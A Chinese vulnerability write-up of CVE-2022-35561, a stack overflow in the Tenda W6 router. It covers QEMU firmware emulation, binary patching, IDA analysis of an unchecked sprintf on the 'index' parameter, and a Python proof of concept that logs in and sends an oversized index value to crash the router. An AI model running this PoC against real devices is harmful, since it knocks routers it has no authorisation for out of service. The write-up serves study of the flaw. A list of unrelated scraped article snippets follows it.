【工业安全】-CVE-2022-35561- Tenda W6路由器 栈溢出漏洞
文章目录
1.漏洞描述
2.环境搭建
3.漏洞复现
4.漏洞分析
4.1:代码分析
4.2:流量分析
5.poc代码:
1.漏洞描述
漏洞编号:CVE-2022-35561
漏洞名称:Tenda W6 栈溢出漏洞
威胁等级:高危
漏洞详情:Tenda W6 /goform/WifiMacFilterSet存在栈溢出漏洞,攻击者可利用该漏洞通过index参数造成拒绝服务(DoS)
影响范围:固件版本 V1.0.0.9(4122)
2.环境搭建
qemu-user系统编译:创建qemu目录,下载qemu-2.5.0.tar.bz2:
https://download.qemu.org/qemu-2.5.0.tar.bz2
1.将下载后的qemu-2.5.0.tar.bz2解压。
2.查找目录linux-user。
3.给目录linux-user的elfload.c 文件中struct elfhdr *ehdr函数中添加&& ehdr->e_shentsize == sizeof(struct elf_shdr) 这个条件。
#配置qemu-user系统:
$./configure --target-list="mips-linux-user mipsel-linux-user arm-linux-user" --static --python=/usr/bin/python2.7
#编译qemu:
$make -j8
#安装qemu:
$sudo make install
安装成功。
3.漏洞复现
在/home/CVE-2022-35561目录下,用qemu-usr用户模式模拟,把固件模拟运行起来。
1.首先在CVE-2022-35555.py同级目录下,binwalk -eM 解压US_W6V1.0BR_V1.0.0.9(4122)_CN.bin文件。
2.然后对binwalk解包后的固件中的任何二进制文件执行 file 命令,查看下设备的cpu 架构。
命令:file ./bin/httpd
可知Tenda W6路由器的httpd是基于MIPS 架构的 32 位小端序可执行文件。
3.给httpd文件可执行权限,命令:chmod +x tdhttpd
4.复制squashfs-root目录下的webroot_ro文件到webroot中
命令:
rm -rf webroot
ln -s webroot_ro/ webroot
5.将user/local/bin目录下qemu-mipsel文件复制到squashfs-root目录,重命名为qemu-mipsel-static。
注意:如果安装过(或有其它原因)qemu-mipsel可能被重命名为qemu-usr-mipsel
执行模拟命令,sudo qemu-mipsel-static -L . ./bin/httpd
但是卡在这里了,在IDA里面看一下httpd,搜索 welcome,发现是因为有一个check_network检查。把两处“jalr $t9”改为 “li $v0,1”,就能通过检查。
具体修改时,先在 https://disasm.pro/ 上查一下汇编对应的十六进制:
6.将path 后的httpd 替换原来的文件。
重新给httpd文件可执行权限,进入squashfs-root目录,打开终端。
执行命令: sudo qemu-mipsel-static -L . ./bin/httpd
很长,请忽略。
直接看有用的部分:
路由器运行在80端口。
ifconfig
得到本机ip,在浏览器中访问:192.168.124.153:80
用户名和密码都保持为空,登录后获得如下界面:
Poc执行:
在PoC_repo目录下打开终端,命令:python3.8 MSF_IOT.py
show exploits
use CVE-2022-35561
ip:192.168.124.153
端口:80
run
因受到攻击网页无法访问,漏洞执行成功
4.漏洞分析
4.1:代码分析
使用 binwalk -e 解包固件,获得文件以备后续分析:
根据漏洞通告/goform/WifiMacFilterSet请求会触发漏洞,查找可执行文件httpd。
可知httpd位于:
_US_W6V1.0BR_V1.0.0.9(4122)_CN.bin.extracted/squashfs-root/bin/httpd
在ida中查找函数:WifiMacFilterSet
sprintf 函数的格式化字符串中使用了 v10 的值。
v10是通过调用 websGetVar 函数获取到的名为 "index" 变量的值。
函数的第一个参数 a1 表示 HTTP 请求句柄,第二个参数 "index" 是需要获取的变量的名称,第三个参数 "0" 则是变量的默认值,当名为 "index" 的变量不存在时,将返回一个字符串 "0"。
"wl2g.ssid" 和 "." 固定占用10字节。
v10 实际可用空间为 32 -10-1 = 21(减去1是因为字符串需要一个空终止符 '\0')。
但是这里没有对 v10 的长度进行检查和限制,就可能导致 sprintf 函数将一个较长的字符串写入 v12 中,覆盖掉其他数据,造成栈溢出漏洞。
故我们可以构造:
http://<ip router>/goform/WifiMacFilterSet+"index="+超长字符串 覆盖掉其他数据,造成溢出。
4.2:流量分析

5.poc代码:
代码复现时环境ip为 192.168.241.131
import requests
from pwn import *burp0_url = "http://192.168.241.131/login/Auth"
burp0_headers = {"Host":"192.168.241.131",
"Content-Length":"65",
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36",
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
"Origin":"http://192.168.241.131",
"Referer":"http://192.168.241.131/main.html",
"Accept-Encoding":"gzip, deflate",
"Accept-Language":"en-US,en;q=0.9",
"Cookie":"user=",
"Connection":"close"}data0 = 'usertype=admin&password=&time=2023;5;31;19;51;6&username='
requests.post(burp0_url,headers=burp0_headers,data=data0, verify=False,timeout=1)burp1_url = "http://192.168.241.131/goform/WifiMacFilterSet"
burp1_headers = {"Host":"192.168.241.131",
"Content-Length":"295",
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36",
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
"Origin":"http://192.168.241.131",
"Referer":"http://192.168.241.131/main.html",
"Accept-Encoding":"gzip, deflate",
"Accept-Language":"en-US,en;q=0.9",
"Cookie":"user=",
"Connection":"close"}data1="index="+'a'*0x300requests.post(burp1_url,headers=burp1_headers,data=data1, verify=False,timeout=1)
实现了两个HTTP POST请求,第一个用来登录,第二个用来执行漏洞利用。
相关文章:
【工业安全】-CVE-2022-35561- Tenda W6路由器 栈溢出漏洞
文章目录 1.漏洞描述 2.环境搭建 3.漏洞复现 4.漏洞分析 4.1:代码分析 4.2:流量分析 5.poc代码: 1.漏洞描述 漏洞编号:CVE-2022-35561 漏洞名称:Tenda W6 栈溢出漏洞 威胁等级:高危 漏洞详情࿱…...
【GRPO】GRPO原理原文翻译
论文:DeepSeekMath: Pushing the Limits of Mathematical Reasoning in Open Language Models 注!这里我仅仅翻译GRPO部分供学习使用。其他部分请去看原文。 4. 强化学习(Reinforcement Learning) 4.1. 群组相对策略优化…...
侯捷 C++ 课程学习笔记:C++ 新标准 11/14 的革新与实战应用
在侯捷老师的 C 系列课程中,《C 新标准 11/14》这门课程让我对现代 C 编程有了全新的认识。C11 和 C14 是 C 语言发展史上的重要里程碑,它们引入了大量新特性,极大地提升了语言的表达能力和开发效率。侯捷老师通过深入浅出的讲解和丰富的实战…...
拉取Openwrt官方源码 编译固件速通
Openwrt 24.10上星期出了,但是恩山没几个人更新,自己编译一个,记录一下方法。 一切从简,不添加任何插件,资源扔恩山了。 【 】红米AX6000 openwrt V24.10.0 uboot大分区固件-小米无线路由器及小米网络设备-恩山无…...
洗牌加速!车规MCU“冷热交加”
汽车芯片赛道,正在经历新一轮震荡期。 本周,全球汽车芯片巨头—NXP对外披露了不及资本市场预期的四季度的财报,营收同比下降9%,全年下降5%,表明工业和汽车市场需求的低迷仍在持续。 公开信息显示,该公司一…...
大模型Deepseek的使用_基于阿里云百炼和Chatbox
目录 前言1. 云服务商2. ChatBox参考 前言 上篇博文中探索了(本地)部署大语言模型,适合微调、数据高隐私性等场景。随着Deepseek-R1的发布,大语言模型的可及性得到极大提升,应用场景不断增加,对高可用的方…...
【prompt示例】智能客服+智能质检业务模版
本文原创作者:姚瑞南 AI-agent 大模型运营专家,先后任职于美团、猎聘等中大厂AI训练专家和智能运营专家岗;多年人工智能行业智能产品运营及大模型落地经验,拥有AI外呼方向国家专利与PMP项目管理证书。(转载需经授权&am…...
DeepSeek 本地部署(电脑安装)
1.先安装Ollama 开源框架 网址链接为:Ollama 2.点中间的下载 3.选系统 4.下载好就安装 5.输入命令ollama -v 6.点击Model 7.选如下 8.选版本 9.复杂对应命令 10.控制台粘贴下载 11.就可以问问题啦 12.配置UI界面(在扩展里面输入) 13.配置完即可打开 14.选择刚才安装的就好啦…...
初学java 数据库相关学习
创建数据库: 主键: unsigned primary key auto_increment 外键: foreign key(xx) references table_name(xx) 字段: 类型: int ; tinyint ;char(20);varchar(255); date; datetime; text; float(5,2); double(10,2); long; decimal(15,10) 约束:primary key; foreig…...
【论文笔记】ZeroGS:扩展Spann3R+GS+pose估计
spann3r是利用dust3r做了增量式的点云重建,这里zeroGS在前者的基础上,进行了增量式的GS重建以及进行了pose的联合优化,这是一篇dust3r与GS结合的具有启发意义的工作。 abstract NeRF和3DGS是重建和渲染逼真图像的流行技术。然而,…...
《Python 中 JSON 的魔法秘籍:从入门到精通的进阶指南》
在当今数字化时代,网络编程无处不在,数据的高效传输与交互是其核心。JSON 作为一种轻量级的数据交换格式,凭借其简洁、易读、跨语言的特性,成为网络编程中数据传输与存储的关键技术。无论是前后端数据交互,还是不同系统…...
【漫话机器学习系列】091.置信区间(Confidence Intervals)
置信区间(Confidence Intervals)详解 1. 引言 在统计学和数据分析中,我们通常希望通过样本数据来估计总体参数。然而,由于抽样的随机性,我们不可能得到精确的总体参数,而只能通过估计值(如均值…...
查看引脚电平
在Linux系统中,通过cat命令查看/sys/class/gpio/export文件并不能直接获取GPIO引脚的高低电平。/sys/class/gpio/export文件用于向系统请求导出(即启用)某个特定的GPIO引脚,而不是用于读取引脚的状态。 1.导出GPIO引脚࿱…...
回归预测 | Matlab实现PSO-HKELM粒子群算法优化混合核极限学习机多变量回归预测
回归预测 | Matlab实现PSO-HKELM粒子群算法优化混合核极限学习机多变量回归预测 目录 回归预测 | Matlab实现PSO-HKELM粒子群算法优化混合核极限学习机多变量回归预测效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.回归预测 | Matlab实现PSO-HKELM粒子群算法优化混合核…...
QTreeView添加网格线
一.效果 二.实现 网格线虽然可以用样式表添加,但效果不好。这里重写QTreeView的drawRow函数来实现网格线的绘制。 void QHTreeView::drawRow(QPainter *painter, const QStyleOptionViewItem &option, const QModelIndex &index) const {QTreeView::drawRow(painter…...
nvidia-smi执行失败,报错-实战生产
目录 报错日志 解决办法 步骤 1: 检查当前安装的 NVIDIA 驱动版本 步骤 2: 检查 NVIDIA 内核模块是否已加载 步骤 3: 重新安装 NVIDIA 驱动程序 使用 apt 重新安装驱动程序 或者使用 dkms 重新生成内核模块 步骤 4: 确认内核版本和驱动兼容性 步骤 5: 更新 initramfs …...
大脑神经网络与机器神经网络的区别
大脑神经网络(生物神经网络)与机器神经网络(人工神经网络,ANN)虽然名称相似,但在结构、功能、学习机制等方面存在显著差异。以下是两者的主要区别: 1. 基础结构与组成 大脑神经网络: 由 生物神经元(约860亿个)通过突触连接形成动态网络。 神经元通过电化学信号(动作…...
firewall-cmd --zone=public --list-ports 已经添加端口了但是仍无法访问
当您使用 firewall-cmd 命令在 Linux 系统中配置防火墙规则时,确保端口可以被访问通常涉及几个步骤。即使您已经使用 firewall-cmd 添加了端口,但仍可能遇到无法访问的问题。以下是一些解决步骤,帮助您确认和解决端口无法访问的问题ÿ…...
Golang的多团队协作编程模式与实践经验
Golang的多团队协作编程模式与实践经验 一、多团队协作编程模式概述 在软件开发领域,多团队协作编程是一种常见的工作模式。特别是对于大型项目来说,不同团队间需要协同合作,共同完成复杂的任务。Golang作为一种高效、并发性强的编程语言&…...
DevOps 进化论:腾讯云 CODING-TM 如何助力企业敏捷转型?
在当今数字化竞争激烈的时代,企业的软件开发模式正经历从传统开发向敏捷开发、DevOps 转型的深刻变革。如何在保证代码质量的同时,加快开发、测试与交付流程,成为众多企业研发团队面临的核心挑战。腾讯云 CODING-TM 作为一站式 DevOps 平台&a…...
前端骨架怎样实现
前端骨架屏(Skeleton Screen)是一种优化页面加载体验的技术,通常在内容加载时展示一个简易的占位符,避免用户看到空白页面。骨架屏通过展示页面结构的骨架样式,让用户有页面正在加载的感觉,而不是等待内容加…...
AI前端开发的学习成本与回报——效率革命的曙光
近年来,人工智能技术飞速发展,深刻地改变着各行各业。在软件开发领域,AI写代码工具的出现更是掀起了一场效率革命。AI前端开发,作为人工智能技术与前端开发技术的完美结合,正展现出巨大的发展潜力,为开发者…...
[NOIP2007 普及组] 奖学金 题解
(一)读懂题目 关键句:期末,每个学生都有3门课的成绩:语文、数学、英语。先按总分从高到低排序,如果两个同学总分相同,再按语文成绩从高到低排序,如果两个同学总分和语文成绩都相同,…...
[创业之路-297]:经济周期与股市、行业的关系
目录 一、经济周期的种类 1、短周期(基钦周期) 2、中周期(朱格拉周期) 3、长周期(康德拉季耶夫周期) 当下处于康波周期的哪个阶段? 4、建筑周期(库涅茨周期) 二、…...
Dav_笔记14:优化程序提示 HINTs -3
查询转换的提示 以下每个提示都指示优化程序使用特定的SQL查询转换: ■NO_QUERY_TRANSFORMATION ■USE_CONCAT ■NO_EXPAND ■REWRITE和NO_REWRITE ■MERGE和NO_MERGE ■STAR_TRANSFORMATION和NO_STAR_TRANSFORMATION ■事实和NO_FACT ■UNNEST和NO_UNNEST…...
递归乘法算法
文章目录 递归乘法题目链接题目详解解题思路:代码实现: 结语 欢迎大家阅读我的博客,给生活加点impetus!! 让我们进入《题海探骊》,感受算法之美!! 递归乘法 题目链接 在线OJ 题目…...
从当下到未来:蓝耘平台和 DeepSeek 应用实践的路径探索,勾勒 AI 未来新蓝图
我的个人主页 我的专栏:人工智能领域,希望能帮助到大家!!!点赞👍收藏❤ 引言:AI 浪潮中的双引擎 在人工智能蓬勃发展的时代,蓝耘平台与 DeepSeek 宛如推动这一浪潮前进的双引擎。…...
非标准纸张Word文件无损转换为A4标准纸张的完整教程
在日常办公中,常会遇到需要将非标准纸张大小的Word文档(如A3、B5等)调整为A4标准尺寸的需求。直接修改Word页面设置可能导致排版错乱,而通过 Adobe Acrobat 的印前检查功能可实现内容格式无损缩放。以下是详细操作流程: 一、Word转PDF:保留原始布局 保存为PDF格式 在Word…...
Xlua中C#引用Lua变量,导致Lua侧的GC无法回收的原因及解决方法
1. 引用关系导致: 在 XLua 中,当 C# 端引用了 Lua 变量时,Lua 的垃圾回收器(GC)不会回收这些被引用的变量。这是因为 Lua 的 GC 机制是基于引用计数和标记 - 清除算法的。当 C# 端持有对 Lua 变量的引用时,…...
38.日常算法
1.最短无序连续子数组 题目来源 给你一个整数数组 nums ,你需要找出一个 连续子数组 ,如果对这个子数组进行升序排序,那么整个数组都会变为升序排序。请你找出符合题意的 最短 子数组,并输出它的长度。 示例 1: 输入…...
